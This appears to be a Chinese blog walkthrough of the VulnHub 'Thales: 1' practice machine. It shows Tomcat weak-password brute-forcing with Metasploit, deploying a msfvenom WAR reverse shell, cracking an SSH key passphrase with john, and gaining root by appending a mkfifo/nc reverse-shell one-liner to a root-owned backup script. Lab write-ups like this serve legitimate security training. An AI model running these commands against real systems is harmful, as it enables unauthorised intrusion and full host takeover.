准备:
攻击机:虚拟机kali、本机win10。
靶机:THALES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/thales/Thales.zip,下载解压后直接vbox打开即可。
目标:获取user.txt和root.txt。
知识点:shell反弹、权限提升、tomcat弱口令、密匙破解(john)
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.100.0/24,获得靶机地址:192.168.100.167。这里因为是在酒店,这里连的的都是一个网络,所以加了-sn,不然比较慢。
扫描下开放的端口与对应的服务:nmap -T4 -sV -p- -A 192.168.100.167,显示开放了22和8080端口。
使用dirmap进行目录扫描,但是未发现有用的目录信息,访问:http://192.168.100.167:8080/,发现是tomcat界面,在页面点击时发现需要登录。
爆破tomcat弱口令:
这里想到了之前的tomcat弱口令的问题(vuhub上也有这个的模拟环境),因此使用msf尝试爆破下弱口令,在msf中搜索下tomcat漏洞,search tomcat,然后找到用于爆破弱口令的并使用。
使用方式:use 19,然后设置下目标主机:set rhost 192.168.100.167,(可以show options查看当前配置的信息),然后run即可。成功获得账户名和密码:tomcat/role1。
使用爆破获得账户名和密码:tomcat/role1,成功登录到管理界面。
获取shell权限:
在应用程序列表中我们可以进行文件上传和服务部署,因此构造一个反弹shell进行部署,生成反弹shell:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.96 LPORT=6688 -f war -o upfine.war,在kali开启监听:nc -lvp 6688,然后将upfine.war文件进行上传部署并访问,成功获得shell权限。使用python3 -c 'import pty;pty.spawn("/bin/bash")'升级下shell窗口。
提权至thales:
在home/thales文件夹下发现了:notes.txt、user.txt、.ssh等文件,读取下相关文件,告诉我们存在一个backup.sh脚本,user.txt文件无权限读取,尝试使用密码:role1进行尝试,但是不对。
那就先去查看下backup.sh文件的信息:ls -al和cat backup.sh,发现该文件具有root权限,文件内容定义的是备份什么内容,备份到哪去,备份方法和名称等信息,这里我们可以写入一个反弹shell,那在调用的时候就可以反弹一个root权限的shell,但是tomcat账户按这样操作后显示仍是tomcat权限。
在.ssh下发现密匙:id_rsa文件,将密匙文件复制保存到本地文件upfine,然后命令:python2 /usr/share/john/ssh2john.py /home/kali/Desktop/upfine > passwd生成密码本,然后命令:john --wordlist=/usr/share/wordlists/rockyou.txt passwd进行破解,成功获取密码:vodka06
切换thales账户:su thales,读取下user.txt文件,成功获取到flag信息。
提权至root:
根据上面的我们发现的backup.sh文件具有root权限,那我们就插入一个反弹shell,然后执行backup.sh脚本,成功获取root权限读取到root.txt。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.96 6688 >/tmp/f" >> backup.sh
标签:shell,tomcat,THALES,192.168,sh,vulnhub,靶场,txt,root From: https://www.cnblogs.com/upfine/p/16838938.html